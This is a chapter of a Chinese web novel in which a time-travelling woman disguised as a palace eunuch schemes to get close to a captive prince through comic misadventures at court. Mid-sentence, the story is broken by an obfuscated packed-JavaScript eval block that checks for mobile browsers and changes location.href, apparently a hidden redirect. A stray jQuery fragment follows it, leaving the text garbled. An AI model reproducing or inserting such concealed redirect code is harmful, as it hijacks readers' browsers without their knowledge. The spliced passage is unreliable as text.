是夜,月朗星疏,微风带雪,盈盈满庭院。
苏满砚仰躺在舒适的床上,身盖暖烘烘的鹅毛被,双臂惬意地枕在脑后。所有的辛劳在她钻进干燥温暖被窝的那一刻都荡然无存。
她眨巴着乌黑亮丽的双眼盯着庭中那一簇孤单的傲梅,不知为何,这让她想起了萧凛。
外表孤傲,艳丽;看向内里,正直,单纯。
刚刚她狮子大张口提出了许多要求,萧凛都好脾气地一一应允。白日刚分配的新屋子,这会已由下人添置了茶炉、蒲团、沉香等物件,应有尽有。若是叫旁人来看,压根不敢相信这是一名太监的起居房。
看来是个心软的啊……这下好办了。
苏满砚心里唾弃这功利现实的社会:系统的道具还真是好用啊,凭借这样一个道具,男主对我的态度就改变一百八十度。
也不知道这样的好脸色她可以享受多久,明天,后一天?
不管不管!先享受再说,苏满砚扯被子盖过头顶,蒙在被子里和周公幽会去了。
第二日一早,苏满砚裹上厚厚的袄子,穿着长靴踩着隔夜的积雪,先到厨房领了早饭——一小碗米粥还有温热的馒头。
苏满砚感动得简直想掩面落泪,这是她穿越来吃得最好的一顿早饭。之前都是冷水就着硬馒头下肚,不单吃不饱,而且太凉了,肠胃吃不消,总是闹肚子。
苏满砚埋头苦吃,明明只是简单的食物,硬是被她吃出了山珍海味的架势。云雀坐在一旁笑眯了眼,觉得这个新来的太监弟弟甚是可爱:“慢点吃。”
深宫里的婢女太监都做了好些年,做事自然得心应手,哪怕是吃饭速度也快。苏满砚才吃到一半,身边的人都走光了。她到底是没好意思一个人接着吃,快速撂起碗咕噜咕噜把粥全喝下去,走之前还抓两个馒头塞进袖子。
冬日昼短夜长,已是卯时,天依旧暗暗的,可院子有微妙的光,或许是来自雪。整个天地间只有下人打杂的细微声响,众人想着主子尚未起身,动作都刻意放轻了。
今日又是打杂的一天,苏满砚举着竹扫帚哼哧哼哧扫雪,从东到西,从南到北,很快就到了另一个院子——萧凛的院子。
房门尚关闭,里屋人还未醒。萧凛的院子和苏满砚在电视剧中看到的皇子殿院大相径庭,地方狭小,装饰物寥寥,只有几棵挺拔的高树,还有零散的红梅。也是,一个胡国质子被囚禁在南国重重冷宫中,处境自然不好。苏满砚想知道其中的细节,比如南胡两国的恩怨,萧凛在两国间的作用,这些或许可以帮助她更好治愈萧凛,可惜系统先生说它不知道。
苏满砚故意磨蹭着动作,扫雪的动作也是划划水,她不想立刻离开。她问一旁与她同劳动的小太监:“殿下一般何时起?”
“一般卯时也该起了,今日不知怎的了,或许昨日累着了。”
苏满砚盯着那间屋子若有所思。
“为何姐姐们不进去伺候殿下呀?比如洗漱,更衣?”
“殿下一般不叫人伺候,他在胡国是大名鼎鼎的将军,在军营待惯了,生活琐事都是靠自己,可惜现在……”那名太监自知多言,住了嘴。
苏满砚又将视线转回那名太监,不再追问,只是说:“小兄弟,方才云雀姐姐叫我去给马棚添草,我扫雪时偷了会儿懒,辛苦了你。我心里过意不去,要不你替我添草,我留在这继续扫会儿。”苏满砚一副很羞愧的样子,大方将添草的轻松活转让。
那名太监听了果然眉开眼笑,轻松活谁不想干,高高兴兴地离开了。
可算支走了,这下整个庭院只剩下她一个下人了。苏满砚干脆提起衣摆,坐在干净的台阶上,掏出凉透的包子专心啃起来。一早喝的白粥早已消化尽,宫里的规矩就是多,明明要干的事情那么多,吃的东西却那么少,哪里够啊。
从起床到现在,一刻不停地扫地,真是个体力活。苏满砚开始佩服古时候的公公了,天子的钱真是不好挣啊。
等到天际晕成白色瓷瓶底,屋里也传来了细细簌簌的响声,苏满砚立马藏起剩下的馒头,拿起扫把,假模假样地打扫。
她侧耳倾听,余光瞥向殿门,果然不过十秒,门就打开了。
萧凛今日穿着一袭藏青衣袍,外面也不多披一件裘皮。即使是暗沉的颜色,朴素的款式,他穿着也是好看的,像冬日的小松柏。
腰间坠着一块松鹤文白云环,印象中那人一直将此带在身上,平添一股高雅气质。
苏满砚立刻躬身请安:“给殿下请安。”
虽说苏满砚现在是近侍太监,但同是近侍的云雀,萧凛也未曾见得那么频繁。他都要怀疑对方是不是见缝插针地来接近他……
萧凛微微点头,可脚下的步伐没停,目不斜视地路过苏满砚。说实话,他瞧着苏满砚包裹得圆鼓鼓的模样,也觉得有几分好玩。昨日派下人给她送了些厚衣服,今日便都穿上了,一层裹一层,真当如此冷?但倒也像个年画娃娃,眼睛乌黑,面颊红白。
苏满砚见萧凛看了一眼自己就走,这么冷漠?她忙开口搭话:“殿下,多谢您赏给奴才的衣服,今日小的穿着可舒服了。”
果然,是故意来找他的。萧凛的眼里闪过一抹兴味,他背过手转身,勾唇温声道:“无妨,还要感谢阿砚为我治疗身体,若日后阿砚还有需要的,可再告诉本王。”
成功第一步——搭话。
“殿下这般话可是折煞奴才,为殿下治疗是小的福气。”苏满砚一边嘴上说着话,一边自如地迈着小步子拉近两人的距离,“殿下现要去何处?可要奴才陪同?”
“阿砚的事情干完了?”萧凛笑眯眯地问道,眼神飘向那把扫帚还有满院的雪。
苏满砚:“……”
萧凛看见苏满砚吃瘪的样子,笑得肩膀一抖一抖,止住了笑,突然问:“阿砚扫雪可累?”
“累啊,累,怎么不累。”苏满砚皱眉撇嘴抱怨,末了又补充:“但一想到为殿下提供更好的居住环境,心念着殿下赐给小人的恩泽,阿砚就都不累了。”
苏满砚说完还故意偷抖袖子,吃剩的馒头掉落咕噜咕噜滚到萧凛脚下。她装作惊恐,忙捡起来,低着头解释:“殿下恕罪。这是奴才吃剩的早饭,想着打扫累了便吃些。”
语气要多委屈就有多委屈。
成功第二步——卖惨。
低醇的笑声从苏满砚头顶响起,面前人漫不经心地说道:“那真是辛苦我的救命恩人了。要不这样阿砚,以后你就专门负责我的起居,还有为我治病,这些打杂活你就先放一边。俸禄也会多给你些,只要你能治好本王的病。”
原来在这等着我呢!本想着调到男主身边,好完成系统
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178781|180852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任务。可治病这事怎么说,我也只是个半吊子,治病真不会啊!
不管了,接近男主才是第一步。嗯,绝不是为了享福!
苏满砚咬咬牙,下一秒抬起头就眉开眼笑,语气带着雀跃感恩戴德:“多谢殿下提拔,阿砚一定尽自己所能治好殿下。”
萧凛扶起苏满砚,面容温和,两人互相客气云云。
道别后,萧凛一转过身笑容就消失:“这太监,三番五次帮助我,到底什么来头。什么都好,只是太爱耍心眼。”
但幸好,他有很多时间可以会会这个阿砚。
苏满砚一见萧凛转过身,脸色立马垂下来,她揉揉笑僵的脸,心里冷哼:“你不就爱看我耍心眼嘛!果然吃柔弱小白花这一套,还跟我耍心眼。”
晌午饭点,苏满砚就被传话去伺候萧凛进膳。那时她正坐在板凳上,筷子都拿在手上了,准备开动。苏满砚眼眸瞪大,错愕发问:“真是殿下要求的?”
传话的侍卫大哥:“是的。”
“殿下不是从不叫下人伺候的嘛?”一旁的女婢插话,问向云雀:“云雀姐姐,殿下可唤过你伺膳?”
云雀摇摇头,蹙着眉叫旁人不要多嘴。
“行叭。”苏满砚恋恋不舍放下筷子,跟着侍从走了。
只留下一群沉默尖叫的好哥哥姐姐们:殿下难道真的是断袖?
苏满砚来到萧凛的殿院,屋里静悄悄的,只见他一个人坐在饭桌前,桌上摆着几道菜,不磕碜,但也不算丰盛。周围连个侍奉的俾人都没有,不像天潢贵胄,反倒像个寻常人家。
“殿下。”苏满砚礼貌请安。
“嗯”萧凛抬颔,看看她又看看桌上的菜。
苏满砚:“?”
“为何愣着?布菜啊。”萧凛恨铁不成钢。
纵使苏满砚看了很多的小说和电视剧,但事实证明看过猪跑并不能和吃过猪肉挂钩,她连布菜的影子都没学着。
“回殿下,奴才不会。”理直气壮,铿锵有力。
“……”
萧凛耐着性子,招呼苏满砚站到身旁,说道:“一会儿云雀会来叫你,今日便随意吧,你先试试。”
苏满砚看见桌上的鱼肉,本就饿着肚子,更是口水直流。她按着自己的口味,将桌上的菜一股脑地都夹到萧凛的小碟中。一筷子比一筷子多,逐渐堆成山。
萧凛:“……”
“阿砚,够了够了,本王要看不见你了。不用再夹了,这属实有些遮挡视线。”
苏满砚咽下唾沫,只能收手,略显遗憾。
手头上没了要干的事情,苏满砚觉得气氛尴尬,又将话引向萧凛:“殿下的身体可有好些?说实话,奴才略知些医术,依小的来看,殿下可要多加关注自己的身体。”她只敢委婉地提醒萧凛身体状况,中毒一事她可不敢直说。先不说男主信不信,万一一生气就把她斩了,那该如何。
“哦?”萧凛摆出惊愕的样子,“阿砚的言外之意可是本王的身体抱恙?”
“殿下无需担心,只要日后多加调理,并无大碍。”苏满砚暗自腹诽:好浮夸的演技,我不信你不知道自己身体的问题。
萧凛眼眸一闪,将话头转回苏满砚身上:“阿砚是从何学医?如果自幼就净身入宫,能否告诉本王师从南国宫中哪位大师,孤好去拜访?”